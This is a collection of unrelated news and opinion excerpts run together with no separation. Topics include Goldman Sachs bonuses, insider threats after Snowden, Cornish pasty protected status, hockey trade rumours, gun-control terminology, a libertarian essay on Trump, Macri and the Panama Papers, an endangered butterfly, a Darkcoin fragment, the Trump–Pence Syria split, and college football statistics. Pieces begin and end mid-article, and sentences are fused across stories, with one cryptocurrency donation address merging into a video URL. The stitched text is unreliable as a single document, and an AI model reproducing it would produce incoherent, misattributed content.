Critics of the bonus culture in the City said the dominance of a few risk-taking investment banks is undermining the efforts of regulators to stabilise the financial system.
Vince Cable, the Liberal Democrat treasury spokesman, said: "The investment banks more than any other institutions created the culture of excessive leverage, excessive risk and excessive bonuses that led to the downfall of the financial system. Now they are cashing in and the same bonus culture has returned. The result must be that we are being pushed to the edge of another crash."
Goldman Sachs said it reviewed its bonus scheme last year and switched from a system of guaranteed rewards that were paid over three years to variable payments that tied staff to the firm. It told employees last year that profit-related bonuses would be delayed by 12 months.
Until the release of its first quarter profits in April, it seemed inconceivable that a firm owing the US government $10bn would be looking to break all-time records in 2009.
David Williams, an investment banking analyst at Fox Pitt Kelton, said: "This year is shaping up to be the best year ever for investment banks, or at least those that have emerged relatively unscathed from the credit crisis.
"These banks are intermediaries in the bond markets where governments and companies are raising billions of pounds of new money. There is also a lack of competition that means they can charge huge sums for doing business."
Last week, the firm predicted that President Barack Obama's government could issue $3.25tn of debt before September, almost four times last year's sum. Goldman, a prime broker of US government bonds, is expected to make hundreds of millions of dollars in profits from selling and dealing in the bonds.Anderson’s comments about the power of these tools, however, could be overblown to deter employees from becoming another Manning or Snowden. His "claim is probably bravado," said Bruce Schneier, a cryptographer, privacy specialist and Fellow of Harvard's Berkman Center for Internet & Society, in an email. But the bottom line is "we don't know," he wrote. "Certainly there is better auditing that they can do, but it won't be foolproof. I have no idea what measures they've put in place post-Snowden. And, of course, they don't want us knowing."
But there are clues the effort to gain these technical powers is real. A month after the Snowden story broke in 2013, In-Q-Tel – an investment fund with CIA and Homeland Security links, which selectively invests in technologies to “support the mission of the U.S. Intelligence Community” – poured money into Mountain View, California tech firm HyTrust.
The aim was for HyTrust to “deliver audit, enforcement, and policy controls to the administrative layer” within cloud servers and implement a ‘two man rule’ requiring a separate employee’s approval to access sensitive data, said HyTrust President and Co-Founder, Eric Chiu in a statement.
Inside Threat
Insiders, not hackers, are the threat intelligence agencies believe will loom larger and larger in the future, said Andrew Fitzmaurice, Chief Executive of UK security consultants Templar Executives, speaking in October at a Royal College of Defence Studies talk sponsored by Boeing.
“Bradley [Chelsea] Manning, then followed by Edward Snowden probably suggest to us that we can’t have open access to all the information we have” among employees, said Fitzmaurice, warning his audience of security contractors and government officials from various countries.
Fitzmaurice, who works extensively in the UK’s Cabinet Office and GCHQ, said security systems should be less like an armadillo armed against outside threats but rather layered like an onion with different rings of security between employees, and information sharing on a need-to-know basis.
Vigilance against the insider threat is now at an all-time high. In a December 2013 U.S. Homeland Security assessment, insiders were picked out as an underestimated threat to critical government infrastructure. And the report recommends not only should employee data be tracked in the workplace, but also on social media, along with behavioural monitoring by other employees.
This January, the UK’s Centre for Protection of National Infrastructure issued major new guidelines for employee vigilance and pre-employment screening, highlighting the threats posed by insiders. And other groups are working to build a profile of an insider to pick out employees and contractors for extra scrutiny.
The world as it really is?
Despite these efforts “there will always be too many people with access to too much information to stop bulk leaking,” Google executive chairman Eric Schmidt writes in the new afterword to his 2013 book The New Digital Age.
Leaks from whistleblowers, Assange maintains, are the only way to continue to hold public and private organizations to account. “The larger effect is that it creates disincentives for organizations that create unjust plans or engage in unjust acts,” he writes in When Google Met WikiLeaks.
Yet the vast majority of history still remains unexplored, Assange told me.
“You think to yourself ‘wow you’ve learned a lot by those WikiLeaks publication of the cables, and Afghan and the Snowden stuff’, it’s like ‘wow, the world seems different now,’” he explained, “but if you take your mind back before all that happened, it was all still happening - you just didn’t know. What we perceive to be human civilization, isn’t human civilization. The reality we live in is still to be uncovered.”
Edit: This post was edited from the original to include comments from Bruce Schneier.Image caption Cornish pasties now have the same status as French Champagne
The term "Cornish pasty" has been given protected status by the European Commission.
It means that only pasties made in Cornwall from a traditional recipe can now be called "Cornish pasties", the Cornish Pasty Association (CPA) said.
The Protected Geographical Indication (PGI) status means "genuine" Cornish pasties will now be stamped with a special logo.
The CPA said it wanted to protect the "quality and reputation" of the pasty.
It said "authentic" Cornish pasties could still be baked elsewhere in the country but they would need to be prepared in Cornwall.
David Rodda, from the Cornwall Development Company, said: "By protecting our regional food heritage, we are protecting local jobs.
"Thousands of people in Cornwall are involved in the pasty industry, from farmers to producers, and it's important that the product's quality is protected for future generations."
Alan Adler, chairman of the CPA, said: "We are helping to protect our British food legacy.
"We lag far behind other European countries like France and Italy, that have hundreds of food products protected, and it's important that we value our foods just as much."
South West Liberal Democrat MEP Graham Watson, who took a batch of pasties to Brussels last year to back-up the PGI application, said the decision meant the recipe would now be "secured".
'Chunky filling'
The protected status means the pasty now has the same standing as Roquefort cheese, French Champagne and Jersey royal potatoes.
Image caption "Genuine" Cornish pasties will now be stamped with a special logo
Other items from Cornwall already on the protected list include Cornish clotted cream and the Cornish sardine.
A European Commission spokeswoman said it had a "wealth" of schemes to protect regional foods.
She said PGI applications were submitted by governments on behalf of food manufacturers and considered by other European member states.
After six months, if no objections are raised, food items automatically receive protected status.
The CPA, which had to come up with the "genuine" Cornish pasty recipe as part of its PGI application, said an authentic pasty should have a distinctive 'D' shape and be crimped on one side, never on top.
It said the filling should be "chunky, made up of uncooked mince or chunks of beef with swede, potato and onion and a light seasoning" and that the pasty should be slow-baked.There's talk Canucks management wants to boost their offense, preferably in the form a of a 20-goal scorer.
After bolting from the gate with four consecutive victories, the Vancouver Canucks returned to earth by going winless (0-5-1) in their last six games. A lack of scoring punch is a critical factor. Following Wednesday’s 2-0 loss to the Montreal Canadiens, the Canucks are at the bottom of the league in goals per game (1.60).
Unsurprisingly, there’s talk Canucks management wants to boost their offense. TSN’s Pierre LeBrun reports they’d like to add a 20-goal scorer if they can find a trade partner within the next month or two.
This search for a scorer stretches back to the off-season. The Canucks were linked to Buffalo Sabres left winger (and Vancouver native) Evander Kane. However, he’s currently sidelined for weeks with fractured ribs.
Finding an available scorer is one thing, but having the trade chips to land one is another. The Province’s Patrick Johnston reports the Canucks don’t have a lot to offer. He doubts they’ll part with promising prospects Thatcher Demko, Brock Boeser and Olli Juolevi.
Thatcher suggest defenseman Chris Tanev could be a trade option. He points to the emergence of Troy Stecher, the club’s reluctance to place Alex Biega on waivers and Nikita Tyamkin’s unwillingness to accept a demotion as reasons why the 26-year-old Tanev could be available. Stecher, however, was recently demoted to their AHL affiliate in Utica as Tanev returned from injured reserve.
With $1.6 million in salary-cap space, the Canucks can’t afford to take on salary. Tanev’s annual cap hit ($4.45 million) could prove too expensive for most clubs to absorb right now. As a right-shooting blueliner, however, Tanev could be an enticing option for teams seeking help on defense.
The Boston Bruins could be a suitor. They’re in need of blueline depth and Canucks GM Jim Benning used to be the Bruins assistant GM. Sportsnet’s Elliotte Friedman speculates the Bruins could part with forward Ryan Spooner if they can get a good, younger defenseman in return.
With a cap hit of $950,000 ($1.1 million in actual salary), the 24-year-old Spooner would be an affordable option for the Canucks. He’s more a playmaker than scorer, but he tallied 49 points last season. For a Canucks club desperate for offense, Spooner could be a worthwhile addition.
FLYERS NEED TO CLEAR CAP SPACE FOR DEL ZOTTO’S RETURN
The Philadelphia Flyers could soon make a move to free up some cap space. Sportsnet’s Elliotte Friedman reports they must make room for the imminent return of defenseman Michael Del Zotto ($3.75-million cap hit) and forward Scott Laughton ($863,000) from long-term injury reserve.
Last season, Flyers GM Ron Hextall demoted defenseman Andrew MacDonald ($5-million cap hit) to the minors. Doing so again, however, will only free up $950,000, not enough room to accommodate Del Zotto’s cap hit.
Friedman said there was a time Hextall might’ve moved winger Matt Read ($3.625 million). Given Read’s improved production this season, he’s not so sure the 30-year-old could be dealt now.
If a team has serious interest in Read, Hextall might not have much choice. MacDonald’s contract is all but untradeable. There probably isn’t much interest in checking-line winger Dale Weise ($2.35-million cap hit) or aging blueliners Mark Streit ($5.25 million) and Nick Schultz ($2.25 million). Hextall’s certainly not parting with forwards Claude Giroux, Jakub Voracek, Wayne Simmonds, Brayden Schenn or Sean Couturier.
Rumor Roundup appears regularly only on thehockeynews.com. Lyle Richardson has been an NHL commentator since 1998 on his website, spectorshockey.net, and is a contributing writer for Eishockey News and The Guardian (P.E.I.).
For more great profiles, news and views from the world of hockey, subscribe to The Hockey News magazine.But “gun laws” aren’t just “gun laws” today; they’re often “gun-safety laws,” a way of highlighting the reasoning behind stricter regulations among those advocating for them. “Gun-control organizations increasingly like to refer to themselves as gun-safety organizations,” Spitzer said. “That’s a clear rhetorical change on their part. The language in the debate matters a great deal.”
“Gun control” as we know it today hasn’t actually been around that long. Before the 1960s, “gun control” referred to the technology of weaponry—actual devices, like the gun-control systems on Naval ships designed to turn, level, and sight machine guns automatically. After President John F. Kennedy was assassinated in 1963, “gun control” took on new meaning. As lawmakers advocated for regulations that would make it harder for people to buy guns, newspapers ran articles and editorials with headlines like “The Gun and How to Control It,” and “Gun Control Needed.”
“The Kennedy assassination begins the process that culminates in the Gun Control Act of 1968,” Spitzer said. The message: Guns were a problem that needed to be controlled. And “gun control” is right there in the name of the law. It was around the same time that Americans began focusing on the nation’s “gun culture” and evoking the language of the second amendment in a way that hadn’t been a prominent part of the debate on gun rules previously.
For instance, in 1934, as Congress debated what Spitzer calls the “first modern, significant gun regulations,” representatives of the National Rifle Association testified in hearings related to the proposed legislation. “Most of the testimony was from two officials of the NRA,” Spitzer told me. “No direct reference to the Second Amendment or the right to bear arms. None. And it isn’t really until the 1960s that you begin to see the NRA saying, ‘Oh, yes, there is the right to bear arms.’ It begins to escalate in the 1960s with their rhetoric. And in the 1970s, it becomes ubiquitous.”
That change came at a time when the NRA was shifting its focus; as the organization doubled down on its political involvement, it opted for messaging that came from the Constitution. (This also happened, not coincidentally, around the same time as the 1966 publication of an influential book by Carl Bakal, The Right to Bear Arms, which argued that more guns unequivocally meant more violence.)
“And now the utterance of Second Amendment is literally a synonym for anything related to guns,” Spitzer said. “It is uttered incessantly and used in any possible connection. You can’t even count how many times that kind of wording appears in [NRA] speeches and so on. But that rhetoric really only becomes significant in the last several decades. What it really ties to is the great importance Americans attach to anything you can attach to the Constitution.”Donald Trump is nobody's idea of a libertarian but his presidency provides a tremendous opportunity to advance libertarian policies, outcomes, and aspirations in our politics and broader culture. Those of us who believe in reducing the size, scope, and spending of the federal government and expanding the autonomy, opportunities, and ability of people to live however they choose should welcome the Trump era. That's not because of the new president's agenda but because he enters office as the man who will inevitably close out a failing 20th-century model of governance.
Liberal, conservative, libertarian: We all understand that whatever the merits of the great political, economic, and cultural institutions of the last 70 years—the welfare state built on unsustainable entitlement spending; a military that spends more and more and succeeds less and less; the giant corporations (ATT, IBM, General Motors) that were "beyond" market forces until they weren't; rigid social conventions that sorted people into stultifying binaries (black and white, male and female, straight and mentally ill)—these are everywhere in ruins or retreat.
The taxi cab—a paradigmatic blending of private enterprise and state power in a system that increasingly serves no one well—is replaced by ride-sharing services that are endlessly innovative, safer, and self-regulating. Libertarian Party presidential candidate Gary Johnson's campaign slogan—Uber everything—was the one self-evident truth uttered throughout the 2016 campaign. All aspects of our lives are being remade according to a new, inherently libertarian operating system that empowers individuals and groups to pursue whatever experiments in living they want. As one of us (Nick Gillespie) wrote with Matt Welch in The Declaration of Independents, the loosening of controls in our commercial, cultural, and personal lives has consistently enriched our world. The sharing economy, 3D printing and instantaneous global communication means businesses grow, flourish, adapt, and die in ways that perfectly fulfill Schumpeterian creative destruction. We live in a world where consuming art, music, video, text, and other forms of creative expression is its own form of production and allows us to connect in lateral rather than hierarchical ways. Pernicious racial and ethnic categories persist but they have been mostly supplanted by a tolerance and a level of lived pluralism that was unimaginable even 20 years ago, when less than half of Americans approved of interracial marriages. Politics, Welch and Gillespie wrote, is a lagging indicator of where America is already heading and in many cases has already arrived.
Thus the White House Donald Trump enters and the government he heads is being dragged into the 21st century by forces against which he will ultimately be proven impotent. He famously wants to "make America great again," by which he means to return to the imagined world of his younger years, when the United States could dominate (or pretend to, anyway) the global economy, keep jobs from leaving, and successfully direct foreign affairs from the barrel of a tank or via international accords. That for his entire baby-boomer life the country was rarely "winning" on any of those scores is beside the point to Trump, even as it's important for the rest of us to realize that even as we were "losing" all wars (except the one that mattered most, the Cold War) and losing manufacturing jobs and gaining immigrants, our standards of living increased massively. What Donald Trump fundamentally doesn't understand is that our politics and culture aren't about winning and losing; they are about improving our options, opportunities, and possibilities.
Trump enters the White House with historically low approval ratings. This is not merely his fault by any stretch. His Democratic opponent, Hillary Clinton, was similarly distrusted, a reflection of broad loss of faith not in this or that candidate but the entire political system and especially the two major parties, Congress, and most parts of the federal government. Our declining faith and confidence in government are direct results of failures in government to deliver what it promises and, as a majority has long believed, a belief that it is trying to do too much. Trump is coming after not just eight years of an imperial presidency but 16 years of such behavior. For the entirety of the 21st century, the White House has been occupied by men who consistently arrogated more and more power to themselves, often only advancing their complex and self-serving legal arguments in secret or amongst their own advisers.
Trump's bullying personality, seemingly boundless egotism, and personal vindictiveness simply pour gasoline on the fire that is already lit. Serious conservatives and, at least temporarily, many conventional liberals have a heightened appreciation of limiting government power, especially in the executive branch. From secret kill lists to limitless surveillance to an endless list of presidential orders on everything from workplace rules to immigration, Obama "leaves a loaded gun in the Oval Office" for his successor.
The hysterical left, who dream of political concentration camps, and defense hawks, who conflate Putin's beggared Russia with the Soviet Union at its height of power and influence, see Trump as without any redeeming potential. They're wrong, at least from a libertarian angle. He is an iconoclast and has uttered many statements that suggest he may well be interested in smashing idols and the temples that house them. On some specific issues—such as education, where he has fully supported the idea of school choice for K-12 students—his thinking meshes easily with libertarian sensibilities about devolving more power and choice-making to individuals. He is bullish on lowering regulatory burdens pretty much across the board, which is a long overdue gesture that the last Republican president showed no interest in (George W. Bush authored a then-record number of major regulations). Despite his politically timed conversion to an anti-abortion position, he seems to indeed have the "New York values" that Ted Cruz pathetically tried to smear him with. As befits someone born and raised in the unparalleled mixing chamber of New York, he doesn't seem troubled in the least by gays, lesbians, and all forms of alternative lifestyles. On an individual level at least, he seems to connect with people from all walks of life and all parts of the globe.
In many—perhaps most—other instances, of course, Trump is as far from libertarian as possible. On trade and industrial policy, he is awful and his castigation of immigrants and Muslims as sub-human and unworthy of entry into America is morally repulsive. Such views are also at odds with the vast majority of Americans, two-thirds of whom believe illegals should be given a path not just to legal status but to citizenship (even 50 percent of Republicans agree with this).
But the hallmark of Trump's politics is not its populism but its general incoherence. His mind is a landfill of ideas, attitudes, and policies from the postwar era, some of which (such as economic protectionism) that were wildly popular and even somewhat effective (or at least not ruinous) for periods of time. But there is nothing in Trump's grab-bag of discrepant impulses that can or will speak to the future. That's because he doesn't live there, or even in the present. This is a 70-year-old man, after all, who not only dreams of "closing that Internet up in some way" but thinks that Bill Gates is the guy for the job. Throughout the campaign, he would trot out 80-year-old Carl Icahn, whose stock in trade was (often smartly) selling off company assets after hostile takeovers, as his model economic advisor. If nothing, Icahn's time has passed. Trump famously doesn't use email and even his robust, god-awful, and fully enjoyable Twitter account is stuck in a flame-war mode that was tired before Usenet groups stopped being a big deal.
Washington is broke, unpopular, and dysfunctional. The only important question is what will come next. Clearly, we need a government that spends less and does less but also appeals to most Americans of whatever ideological persuasion. We know what sort of operating system has improved our commercial, cultural, and personal lives: It's one that flows directly from libertarian ideas about maximizing options for individuals and the groups they form to discover and follow their bliss. This commercial-cultural-personal system provides basic frameworks and expectations that facilitate the creation of reputation and expectations of being treated with respect and reciprocity. It's built on persuasion not threats or coercion and allows people to turn away and leave if they want to. It neither requires pre-approval nor does it demand forced affirmation (simple tolerance will do). It calls for consensus as rarely as needed and only when absolutely necessary. When there were only three or four channels on TV, conflict over what was "acceptable" was likely inevitable. In a world of infinite choices that cannot be forced on anyone, discussions over what is good or bad take the form of conversation and not censorship. We have managed to create an operating system that is better than the one it replaced because it lets more and more of us launch whatever applications we want without crashing the whole computer or network. We can learn from each other and mash-up things we want to, however we want to. When we shop at Whole Foods or on Amazon, when we stream at Netflix, when we eat what we want and marry whomever we want, we're all libertarians, regardless of whether we voted for Jeff Sessions or Elizabeth Warren.
The trick, of course, is to translate that live-and-let live ethos, the cornucopia model into politics and government, which by definition precludes exit. Here, Trump's brashness and divisiveness is forcing all of us to realize government isn't and can't be all things to all people without endless conflict. We don't agree on enough to give the power the ability to dictate terms to all of us (and needless to say, such a system can't possibly be fiscally sustainable). In a genuinely powerful, if unintended way, Trump has put everything on the table, and it's that evaluation process we need to start now and move in an unapologetically libertarian direction. Our America has changed vastly since Social Security retirement was created and Medicare passed. The planet is not in a twilight struggle between the two principal political philosophies to emerge from the Enlightenment (liberalism and communism); global terrorism pales in comparison. We are as a planet vastly richer and more educated and more connected and empowered than ever before. More people live in more freedom and they want to get on with living their lives according to their own lights, not the dictates of this or that leader.
Because he is so unpopular, abrasive, and backward-looking, Trump is the end of the line, the last Plantagenet, not the first in a new line of kings. He will rule over not just the end of the Republican Party as we know it, but the end of the federal government as we know it.
Libertarians, our opportunity is now, with conservatives and Republicans fearing what they have wrought and liberals and Democrats terrified that the swollen state they supported may be directed against them. We have a way forward that will scale down the size, scope, and spending of government while transforming the social safety net into an instrument of support and opportunity. We have an increasing number of examples (the sharing economy, Bitcoin) that permissionless innovation provides the great leaps forward that governments promise but rarely deliver. We can replace fiscally unsustainable entitlements to rich old people with unrestricted cash grants to the poor, we can offer children a choice of schools rather than remanding them to minimum-security prisons based on their parents' ZIP codes. We can insist on taxes being recognized as the revenue necessary to run agreed-upon services provided by the government, not an endless scam designed to ratchet up deficit spending. We can demand to be treated as adults, capable of deciding our preferred intoxicants and medical treatments and speech codes. We need to lay all this out both in broad, inspiring strokes and detailed, serious policy plans.
By a two-to-one margin (60 percent to 30 percent), Americans believe the country is headed in the wrong direction, a dread that was energized by the two main choices for president offered us in 2016—and then double-underlined in a signature-gold Sharpie by the election of the man who becomes president today. A future in which government is disrupted and diminished—and individuals are empowered and enlivened—is possible, but only if we make it happen.Argentine President Mauricio Macri gestures as he delivers a speech at Casa Rosada Government Palace in Buenos Aires on April 7, 2016, after a prosecutor opened an investigation on his offshore financial dealings leaked in the Panama Papers (AFP Photo/Juan Mabromata)
Buenos Aires (AFP) - Argentine President Mauricio Macri said Thursday he made no "malicious omission" from his mandatory asset declarations as a public official, after the so-called Panama Papers revealed his offshore financial interests.
"I did not receive any payment for acting as a director (of offshore companies). Tomorrow I will present myself before the court with all information necessary for the judge to verify that what I have done is correct," he said in a televised address.
The conservative president's new denial of wrongdoing came after a federal prosecutor opened an investigation of his finances.
"I am calm. I have obeyed the law. I have nothing to hide," Macri said.
"I have sent the papers to the anti-corruption office to investigate. But tomorrow I will present to the justice system something called a 'declaration of certainty.' With all that information the judge will see that I've told the truth. I'm at the disposition of any judge."
The Panama Papers -- millions of documents on offshore dealings leaked from Panamanian law firm Mossack Fonseca -- have cast a spotlight on the secret finances of a host of powerful politicians, celebrities and sports stars.
Macri, the face of a budding right-wing resurgence in Latin America, is listed as a director at two offshore companies, unlike Russian President Vladimir Putin and China's Xi Jinping, for example, who have been implicated only via their inner circles.
Argentine federal prosecutor Federico Delgado said he had asked a judge to request information from the national tax authority and anti-corruption office to determine whether Macri "omitted, with malicious intent, to complete his sworn declaration" of assets, a requirement for Argentine public officials.
The conservative president is on the board of directors of two offshore firms -- one registered in the Bahamas and the other in Panama.
He did not list either in his financial declarations when he became Buenos Aires mayor in 2007 or president last December.
Macri, who vowed to fight corruption during his presidential campaign, has shaken up Argentina since taking office with a flurry of free-market reforms aimed at undoing the legacy of his leftist predecessors Nestor and Cristina Kirchner.Deer graze on tall prairie grass. Bushy-tailed foxes chase rabbits across a windswept landscape. Bald eagles perch along cliffs overlooking the Strait of Juan de Fuca and snow-capped Olympic Mountains.
The southern tip of Puget Sound’s San Juan Island is a wildlife-viewing wonderland.
But come spring, Amy Lambert spends most of her waking hours here in search of a blurry, winged creature the size of a silver dollar, dashing in and out of the grasses for seconds at a time, going whichever direction the wind blows.
“It’s quite stunning, isn’t it?” she says, focusing her binoculars on the insect.
The island marble is considered one of the rarest butterflies in North America, only found in a small section of this island’s small national historic park.
Thought to be extinct for nearly a century, the island marble was rediscovered here in the late 1990s. Two decades later, Lambert and the San Juan Island National Historical Park are trying to save the insect from the dual threats of rising sea levels and a landscape crowded with wildlife and people.
“This is a last-resort moment, when you realize that in your lifetime — maybe even in the next year — you might not see that butterfly again,” Lambert said.
In the late 1990s, the white-winged insect was so rare that nobody had officially named or described it. The butterfly only existed in the form of brittle specimens collected on Vancouver and Gabriola islands in the early 20th century, leaving butterfly enthusiasts to assume the worst.
Some theorize that it arrived on San Juan by human transport, cocooned in a bale of hay. Others suggest that a strong gust of wind may have carried the butterfly to these shores. Washington State Department of Fish and Wildlife biologist Ann Potter, one of the first to rediscover the butterfly, thinks it may have been here all along.
“It was a landscape and geographic area that was under-surveyed,” Potter said.
For all intents and purposes, the area is now under surveillance. The discovery launched a multi-year effort by Potter and other state and federal researchers to map the insect’s whereabouts. Lambert became one of the first scientists to formally study it.
She counted about 300 butterflies in the American Camp section of the park, a string of grassy prairies and sand dunes. There were satellite populations too. Lambert documented the healthiest colony of butterflies on the island in low-lying lagoons along the park’s shorelines.
Then she returned to a lagoon for an annual survey in 2008; the butterfly had done what it was known for: disappeared.
“The numbers completely blanked out,” she said. “It was devastating.”
The previous two winters, surging tides had rushed over the beach, pummeling the butterfly’s delicate, native host plants with sand and gravel.
It was the kind of coastal flood that may become more common over the next century. Sea levels are expected to rise across the Pacific Northwest, changing shoreline habitat for animals like shellfish, waterfowl and even people. But for a small butterfly population confined to a small geographic area, any loss of habitat can make the species more vulnerable to extinction.
Declines continued in other parts of American Camp, and the National Park was forced to decide whether to save the butterfly.
With its native host plant under threat by sea level rise, the island marble is relying on non-native plants to survive. Credit: Greg Davis
They turned to a last-resort measure in conservation biology called captive rearing.
Park researchers collect butterfly eggs on the landscape and help raise them in a laboratory. Each egg will turn into a caterpillar, curl up in a cocoon, spend 11 months in a temperature-controlled closet, and — 90 percent of the time — emerge as a butterfly the following spring.
“Its guaranteeing the survival of the island marble,” said Park Superintendent Elexis Fredy. “The butterfly is on life support.”
They’re using the program to create a butterfly stronghold on higher ground. In 2017, park researchers released more than 100 butterflies on the upland prairie, where Lambert is planting mustard grasses that she hopes can provide a natural source of food and shelter for their offspring. With the low-lying native host plants threatened by rising sea levels, these mustard plants are their only hope.
Success depends on the researchers’ ability to precisely harmonize several biological rhythms.
|
my favorite)
C-Cex - Crypto-Currency EXchange
Poloniex - Crypto-Currency EXchange
Crypt-OTC - OTC Exchange
MintPal - MintPal Exchange
CoinedUp - CoinedUp Exchange
Bittrex - Bittrex Exchange
Remember one thing: if you trade cryptocurrencies, it is like trading money, and the usual rule applies: if you don’t know what you’re doing, prepare to be screwed.
Having said that, I am very optimistic about Darkcoin’s future, and I will hold my darkcoins for at least a few months.
You can follow me (the author of the article) on Twitter, @simon.
Update (March 18th): a new whitepaper on Darkcoin is now available.
Update (May 15th): Darkcoin’s value has skyrocketed since I wrote this article, growing about 1000%.
If you liked the article, feel free to donate 0.5 Darkcoins (approx 2.6$, or a nice coffee) to this address: XmbzS2n7wViFXY39g1CXX5Yc2eWVy25Qfhposter="http://v.politico.com/images/1155968404/201610/545/1155968404_5163992420001_5163974922001-vs.jpg?pubId=1155968404" true 2016 Cracks appear in the Trump-Pence relationship GOP nominee disavows his running mate on Syria a day after he condemned Trump's 2005 audiotape.
After Donald Trump abruptly disavowed his running mate Mike Pence’s position on Syria — “He and I haven’t spoken, and I disagree,” the Republican nominee said in a scolding tone — Pence rushed to swat down rumors that he was leaving the ticket.
The Indiana governor wrote on Twitter: “Congrats to my running mate @realDonaldTrump on a big debate win! Proud to stand with you as we #MAGA.”
Story Continued Below
The campaign, too, moved quickly to throw cold water on the idea that Pence had so much as mulled over leaving the ticket.
“He’s never considered dropping out. He’s in 100 percent,” said Kellyanne Conway, the campaign manager, after the debate. “He’s happy to be on this ticket.”
But the last few days have raised questions about Pence’s level of comfort with Trump. On Saturday, Pence condemned Trump’s comments about women in a 2005 audiotape, saying in a statement, “I do not condone his remarks and cannot defend them.”
Pence was not part of the campaign’s intensive deliberations at Trump Tower over how to handle the aftermath of the tape. An aide to Pence, speaking on the condition of anonymity, said the vice-presidential nominee stayed in touch with Trump over the weekend, urging Trump to make a more direct apology. The aide said Pence was pleased by Trump’s expression of contrition over the tape at the beginning of the debate.
“Trump needed the space to clean up the audio tape and I think his apology at the beginning of the debate was the strongest yet,” said the aide, adding that the Indiana governor felt the same way.
But Trump’s chosen line of attack before and during the debate further underscored the distance between the two running mates.
Pence has followed the advice of many Republicans and eschewed references to Bill Clinton’s past affairs and treatment of women; Trump, however, paraded several of Bill Clinton’s accusers on Facebook and then hosted them at the debate. Pence was in Indiana, far from the scene.
Then came Trump’s disavowal of Pence’s views on Russia’s role in Syria, perhaps the major foreign policy crisis of the moment. Running mates sometimes acknowledge disagreements on issues but rarely contradict each other. But Trump’s rejection of Pence’s position was sharp enough to elicit gasps in the press room at the debate.
Pence stated in the vice-presidential debate that the U.S. “should be prepared to use military force to strike military targets of the Assad regime” if Russian aggression in the country continues.
Trump roundly rejected that view in Sunday’s debate.
“He and I haven't spoken, and I disagree,” Trump said.
“You disagree with your running mate?” ABC’s Martha Raddatz asked.
“I disagree,” Trump said, and went on to suggest that U.S. should support Russia, Iran and the regime of Syrian President Bashar Assad in fighting ISIS.
Trump’s suggestion that he and Pence hadn’t even spoken about the issue prompted the campaign to reassure voters the two were still in touch. Conway tweeted a photograph of Trump speaking with Pence by phone on Sunday.
In addition, the campaign announced Sunday night that Pence will be appearing on morning TV Monday, his first interview since the release of the tape.
Pence and his aides appear to have made the calculation that sticking it out with Trump is the only realistic move. A recent poll showed Pence as a leading contender for the 2020 Republican nomination should Trump lose. Another poll showed about three quarters of Republicans support keeping Trump on the ticket — a signal to Pence that, even as some elected Republicans abandon Trump, the party’s voters are still very much behind the candidate.
“This is the most united ticket that we've ever seen,” Jason Miller, a spokesman for the Trump campaign, said after the debate. “Mr. Trump and Gov. Pence talk every single day. This is a great ticket. Couldn't be stronger. And the rest of this is just silly nonsense.”
Miller said it was “great” that Trump was willing to point out the “slight disagreement.”
Trump surrogates made no effort after the debate to cover for Pence.
“I think Mr. Trump had it exactly right,” said Peter Navarro, a Trump adviser and UC-Irvine economics professor. “He sets the tone. It’s his foreign policy.”Detroit Lions starting right guard Larry Warford is headed for free agency, leaving Bob Quinn with a tough decision ahead of him.
Larry Warford has been the Detroit Lions starting right guard for the last four seasons. He started all sixteen games his first year and was regarded as one of the best players in the 2013 class. He even won PFF’s Offensive Rookie of the year award.
But after that stellar start to his career, Warford has seen his share of problems. He’s missed seven games in the past three years, including one this past season with a hip injury. He has been a dominate run blocker at times, but multiple injuries and inconsistent game play has his future in Detroit in question.
If a deal isn’t reached by March 9, Warford will enter free agency and will likely be one of the most coveted guards on the market.Confused? Check out the advanced-stats glossary here.
1. Perceptions change quickly
The numbers get plenty of things wrong. Small sample sizes assure that. Individual games, great or terrible, carry quite a bit of weight, injuries and hot/cold streaks haven't been put into proper context yet, etc.
Still, the numbers often see things before we do.
Heading into Week 12 of 2014, Mississippi State was No. 1 in the College Football Playoff rankings, with Oregon No. 2, Florida State No. 3, and a boatload of teams fighting for the No. 4 spot: TCU, Alabama, Arizona State, Baylor. Ohio State, still losing the perceptions battle thanks to a strange home loss to Virginia Tech, languished in eighth place, ahead of only two other one-loss teams (Nebraska and Duke).
TL;DR Kirby Lee-USA TODAY Sports
Projected S&P+ ranking: 2
5-year recruiting ranking: 4
Biggest strength: Where do you even start? How about an offensive backfield that boasts three of the four best quarterbacks in the conference and the best running back in the country?
Biggest question mark: The run defense could stand to improve.
Biggest 2015 game: You think the trip to Ann Arbor to visit Jim Harbaugh and Michigan (Nov. 28) might be hyped just a little bit?
In one sentence: Ohio State must battle complacency and one of the most impressive quarterback battles ever, not to mention a hell of a finish (Michigan State, at Michigan), but there are 127 FBS teams that would love to have what the defending champs bring. : 2: 4: Where do you even start? How about an offensive backfield that boasts three of the four best quarterbacks in the conference and the best running back in the country?: The run defense could stand to improve.: You think the trip to Ann Arbor to visit Jim Harbaugh and Michigan (Nov. 28) might be hyped just a little bit?Ohio State must battle complacency and one of the most impressive quarterback battles ever, not to mention a hell of a finish (Michigan State, at Michigan), but there are 127 FBS teams that would love to have what the defending champs bring.
The numbers, however, noticed that since the loss to the Hokies, the Buckeyes had been nearly perfect. They were up to No. 3 in the F/+ rankings, behind only Alabama and an Ole Miss team that had begun to fade. And then they kept right on playing great ball.
They cruised past Michigan State in East Lansing. They jumped out to an early lead and kept their distance against Minnesota. They hit the gas when they needed to against Indiana and Michigan. And in the Big Ten title game, still trying to distinguish themselves from TCU and Baylor (and with their third-string quarterback, no less), they played the season's perfect game, emasculating a good Wisconsin team, 59-0.
Ohio State was the No. 2 team in F/+, behind only Alabama, when the Playoff pairings were announced. That didn't exactly assuage doubters screaming that TCU or Baylor should have been given the Buckeyes' semifinal slot.
(Fast forward about six months. Some of the same numbers that liked Ohio State so early only projected the Buckeyes second in 2015. The reaction was a scoff. That's impossible -- the Buckeyes are an obvious No. 1. Perceptions change quickly.)
Given an opportunity to prove themselves, the Buckeyes took full advantage. Aided by the same turnover fairy that scorned them against the Hokies, they took down Alabama in the Sugar Bowl. Then, despite some unlucky mid-game bounces, they eased past Oregon, 42-20, to win the national title.
Nobody wanted to acknowledge how good Ohio State looked until there was no choice. And now the Buckeyes return 15 starters, boast perhaps three of the conference's four best quarterbacks, and face a new set of obstacles.
Urban Meyer seemed a bit edgy this spring, challenging his team to remain focused in the honeymoon period. He has to break in a new offensive coordinator, figure out what to do about his quarterback situation, find a new big-play receiver and tight end, and attempt to shore up a run defense that wasn't elite.
